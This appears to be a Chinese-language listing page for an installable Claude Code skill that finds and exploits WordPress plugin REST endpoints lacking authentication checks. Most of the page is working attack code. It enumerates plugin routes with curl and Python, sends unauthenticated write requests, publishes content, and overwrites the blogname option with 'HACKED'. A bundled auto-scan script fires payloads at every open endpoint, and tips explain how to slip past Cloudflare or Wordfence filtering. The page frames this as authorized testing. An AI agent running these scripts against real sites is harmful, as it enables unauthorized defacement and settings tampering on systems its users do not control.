mcpField
W
wp-plugin-rest-auth-bypass

wp-plugin-rest-auth-bypass

github.com/uphiago安全1.3k41 次安装8 周前更新
代码仓库

关于 wp-plugin-rest-auth-bypass

用于映射 WordPress 插件 REST 路由并检查未授权写入端点的安全测试技能,面向授权测试人员。它提供验证内容发布、设置修改和数据泄露风险的步骤。

主要功能

  1. 01枚举插件 REST 命名空间和路由
  2. 02查找未认证的写入方法
  3. 03探测端点响应与参数
  4. 04验证影响并记录发现

适用场景

  1. 01在授权测试中评估 WordPress 插件 API
  2. 02检查插件端点是否强制身份验证
  3. 03验证疑似未授权发布或设置修改

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill wp-plugin-rest-auth-bypass

安装后在 Claude Code 中输入/wp-plugin-rest-auth-bypass确认已加载。

详细介绍

WordPress 插件 REST API — 身份验证绕过

WordPress 插件会在 /wp-json/{namespace}/ 注册自定义 REST API 路由。许多插件开发者忘记添加权限回调,导致会更改状态的端点(POST/PUT/PATCH/DELETE)可供未通过身份验证的用户访问。本技能会枚举所有插件路由,识别缺少身份验证的写入端点,并利用这些端点发布内容、修改设置和泄露数据。

适用场景

  • 目标是一个 WordPress 站点,且可通过 /wp-json/wp/v2/users 获取用户信息。
  • 你已从 /wp-json/ 找到有意思的插件命名空间,但需要映射其路由。
  • 标准 WordPress 端点返回 401,但第三方插件端点可能不会。
  • 你想查找隐藏的管理 URL、调试端点或无需身份验证的写入操作。

前提条件

  • 安装了 requests 库的 python3。
  • 目标 WordPress 站点 URL。

操作步骤

阶段 1 — 枚举所有插件命名空间
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/wp-json/" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for ns in data.get('namespaces', []):
    print(ns)
"

筛除标准 WordPress 命名空间,以找到第三方插件:

Standard: oembed/1.0, wp/v2, wp-site-health/v1, wp-block-editor/v1
Plugins:  gpl/v1, sliderrevolution, yoast/v1, elementor/v1, wc/v3, gf/v2, ...
阶段 2 — 映射每个插件的所有路由
import requests, json

BASE = "https://target.com"

# Get full route map
r = requests.get(f"{BASE}/wp-json/", timeout=10)
data = r.json()

for plugin_ns in ["gpl/v1", "gsf/v1", "sliderrevolution", "solidwp-mail/v1"]:
    r = requests.get(f"{BASE}/wp-json/{plugin_ns}/", timeout=10)
    if r.status_code == 200:
        routes = r.json().get('routes', {})
        for path, config in routes.items():
            methods = config.get('methods', [])
            args = list(config.get('endpoints', [{}])[0].get('args', {}).keys())
            print(f"  [{','.join(methods)}] {path}")
            if args:
                print(f"    Args: {args}")
阶段 3 — 识别会更改状态的端点(POST/PUT/PATCH/DELETE)
# Test each POST/PUT/PATCH endpoint without auth
for path, config in routes.items():
    methods = config.get('methods', [])
    for method in methods:
        if method in ['POST', 'PUT', 'PATCH', 'DELETE']:
            r = requests.request(method, f"{BASE}/wp-json{path}", json={}, timeout=10)
            if r.status_code == 200:
                print(f"  ⚠️ [{method}] {path}: {r.text[:300]}")

端点可被利用的关键信号:

响应含义
"Post published" / "Success"已确认可在未通过身份验证的情况下写入
"Missing parameter: X"端点可用,只需提供正确参数
"Sorry, you are not allowed"已强制执行身份验证 — 安全
"rest_forbidden"已强制执行身份验证 — 安全
"rest_missing_callback_param"端点可用 — 使用参数进行探测
"Invalid action"端点接受输入 — 查找有效值
阶段 4 — 利用无需身份验证的端点

发布内容(最常见):

# Try creating posts/pages/products
for post_type in ["post", "page", "product"]:
    r = requests.post(
        f"{BASE}/wp-json/{plugin_ns}/publish-builder-pro",
        json={"title": "Test", "post_type": post_type, "content": "test", "status": "publish"},
        timeout=10
    )
    if r.status_code == 200:
        print(f"  Created {post_type}: {r.json().get('post_url')}")

修改设置:

# Try modifying WordPress options
r = requests.post(
    f"{BASE}/wp-json/{plugin_ns}/update-options",
    json={"option_name": "blogname", "option_value": "HACKED"},
    timeout=10
)

发现隐藏端点:

# Some plugins leak admin URLs or debug info
for endpoint in ["login-url", "status", "config", "debug", "phpinfo"]:
    r = requests.get(f"{BASE}/wp-json/{plugin_ns}/{endpoint}", timeout=10)
    if r.status_code == 200:
        print(f"  {endpoint}: {r.text[:200]}")

快速扫描脚本

import requests, json, sys

BASE = sys.argv[1] if len(sys.argv) > 1 else "https://target.com"

# Step 1: Get all plugin namespaces
r = requests.get(f"{BASE}/wp-json/", timeout=10)
ns_list = r.json().get('namespaces', [])
std = ['oembed', 'wp/v2', 'wp-site-health', 'wp-block-editor', 'wpcom']
plugins = [n for n in ns_list if not any(s in n for s in std)]

print(f"Plugins: {len(plugins)}")

for ns in plugins:
    r = requests.get(f"{BASE}/wp-json/{ns}/", timeout=10)
    if r.status_code != 200:
        continue
    routes = r.json().get('routes', {})
    
    for path, cfg in routes.items():
        methods = cfg.get('methods', [])
        for method in methods:
            if method not in ['POST', 'PUT', 'PATCH', 'DELETE']:
                continue
            
            # Test without auth
            r = requests.request(method, f"{BASE}/wp-json{path}", json={}, timeout=10)
            
            if r.status_code == 200:
                text = r.text.lower()
                if 'forbidden' not in text and 'not allowed' not in text and 'rest_cannot' not in text:
                    print(f"\n⚠️ UNPROTECTED: [{method}] {ns}{path}")
                    print(f"   {r.text[:300]}")
                    
                    # Try common payloads
                    for payload in [
                        {"title": "test", "content": "test", "status": "publish", "post_type": "page"},
                        {"title": "test", "content": "test", "post_type": "post"},
                        {"title": "test", "content": "test", "post_type": "product"},
                    ]:
                        r2 = requests.request(method, f"{BASE}/wp-json{path}", json=payload, timeout=10)
                        if 'published' in r2.text.lower() or 'created' in r2.text.lower() or 'success' in r2.text.lower():
                            print(f"   ✅ {r2.text[:200]}")
                            break

注意事项

  • 401 与 400:401 表示已强制执行身份验证。带有 "Missing parameter" 的 400 表示端点可访问,但需要正确的参数。
  • JSON 解析:一些插件会将 JSON 作为字符串返回(双重编码)。在调用 r.json() 前检查 r.text。
  • 速率限制:快速测试可能触发安全插件。将请求间隔设为 1-2s。
  • WAF 干扰:Cloudflare 或 Wordfence 可能会拦截发往特定路径的 POST 请求。尝试使用不同的 Content-Type 标头。
  • 文章类型验证:一些端点会根据已注册的类型验证 post_type。尝试 post、page、product、attachment 和自定义类型。
  • 清理测试数据:如果测试期间创建了内容,请尽可能将其删除。如果插件没有无需身份验证的 DELETE 功能,请注明需要手动清理。

验证

  • 端点必须接受会更改状态的操作(POST/PUT/PATCH/DELETE),且不返回 401。
  • 必须通过访问所创建内容的 URL 或检查响应来确认成功。
  • 修改设置后,通过读取该设置来验证更改是否生效。
  • 记录确切的负载、端点路径、HTTP 方法和响应,以便重现。

评论

支持 Markdown